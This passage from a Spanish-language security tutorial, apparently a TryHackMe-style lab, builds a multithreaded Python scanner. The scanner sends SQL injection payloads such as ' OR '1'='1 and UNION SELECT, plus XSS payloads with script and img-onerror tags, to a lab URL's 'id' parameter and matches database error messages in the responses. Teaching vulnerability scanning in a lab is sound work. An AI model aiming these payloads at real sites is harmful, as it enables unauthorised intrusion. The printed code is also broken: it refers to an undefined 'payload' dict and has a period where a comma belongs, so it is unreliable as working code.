Ahora que hemos explorado cómo Python puede automatizar los ataques de fuerza bruta, vamos a movernos hacia aspectos más importantes del testeo de seguridad, que es el escaneo de vulnerabilidades. Las aplicaciones web contienen varias debilidades que pueden ser explotadas para ganar acceso no autorizado, extraer información sensible, o incluso ganar ejecución remota de comandos. En esta tarea crearemos un escáner web que intentará una vulnerabilidad del lado del servidor, SQLi y una vulnerabilidad del lado del cliente, XSS.
Comandos Esenciales
Antes de empezar a programar, vamos a cubrir algunas librerías y comandos de Python que usaremos:
- Regular expressions (re): La librería
rese usa en Python para reconocimiento de patrones en respuestas. Podemos usar regex para identificar contenido en la respuesta contra un conjunto de mensajes de error. - Threading: Correr escaneos secuencialmente es lento, para solucionar esto usaremos multi-threading para mandar múltiples peticiones simultáneamente, haciendo nuestro escáner más rápido y eficiente.
Practical
Ahora, escribiremos código para preparar nuestro escáner de vulnerabilidades, pero primero visita http://python.thm/labs/lab2/greetings.php?id=2, que tiene un mensaje de bienvenida basado en el ID del usuario:

Como ya hemos hablado, nos centraremos en SQLi y XSS. Nuestra lógica será simple, probaremos diferentes payloads como ', UNION SELECT 1,2,3 --, --, etc, y comprobaremos la respuesta en busca de mensajes como "SQL syntax error", "Unkown column", o "MySQL server error". Si alguno de estos aparece, indica una vulnerabilidad potencial de SQLi.
De forma similar para el XSS, inyectaremos payloads como <script>alert("Hacked")</script> y comprobaremos si dicho payload es reflejado en la respuesta sin ser sanitizado. La aplicación puede ser vulnerable a ataques XSS si así ocurre.
En esta tarea, no vamos a probar payloads avanzados, ya que existen herramientas como sqlmap. Nuestro objetivo es entender los fundamentos del escaneo y cómo Python puede ser usado para detectar vulnerabilidades.
import requests import re import threading url = "http://python.thm/labs/lab2/greetings.php?id=" payloads = { "SQLi": ["'", "' OR '1'='1", "\" OR \"1\"=\"1", "'; --", "' UNION SELECT 1,2,3 --"], "XSS": ["<script>alert('XSS')</script>", "'><img src=x onerror=alert('XSS')>"] } sqli_errors = [ "SQL syntax", "SQLite3::query():", "MySQL server", "syntax error", "Unclosed quotation mark", "near 'SELECT'", "Unknown column", "Warning: mysql_fetch", "Fatal error" ] def scan_payload(vuln_type, payload): response = requests.get(url, params={"id": payload}) content = response.text.lower() if vuln_type == "SQLi" and any(error.lower() in content for error in sqli_errors): print(f"[+] Potential SQL injection detected with payload: {payload}") elif vuln_type == "XSS" and payload.lower() in content: print(f"[+] Potential XSS detected with payload: {payload}") threads = [] for vuln, tests in payload.items(): for payload in tests: t = threading.Thread(target=scan_payload. args=(vuln, payload)) threads.append(t) t.start() for t in threads: t.join()
Areas Clave del Código
- URL objetivo: El script manda peticiones
GETa la aplicación web probando diferentes inputs contra el parámetroid. La URL objetivo es actualizada con diferentes payloads usandoparams={"id": payload}. - Definir payloads: El script contiene payloads predefinidos diseñados específicamente para comprobar inyecciones SQL y vulnerabilidades XSS.
- Detectar vulnerabilidades: El escáner manda los payloads y examina la respuesta en busca de mensajes de error comunes o si el payload pertenece a la página en la respuesta para XSS.
- Ejecutar escaneos con multi-threading: Es importante escanear el sitio web de manera eficiente. El
threading.Threadsnos permite ejecutar escaneos en paralelo en lugar de tener que hacerlos todos en serie.
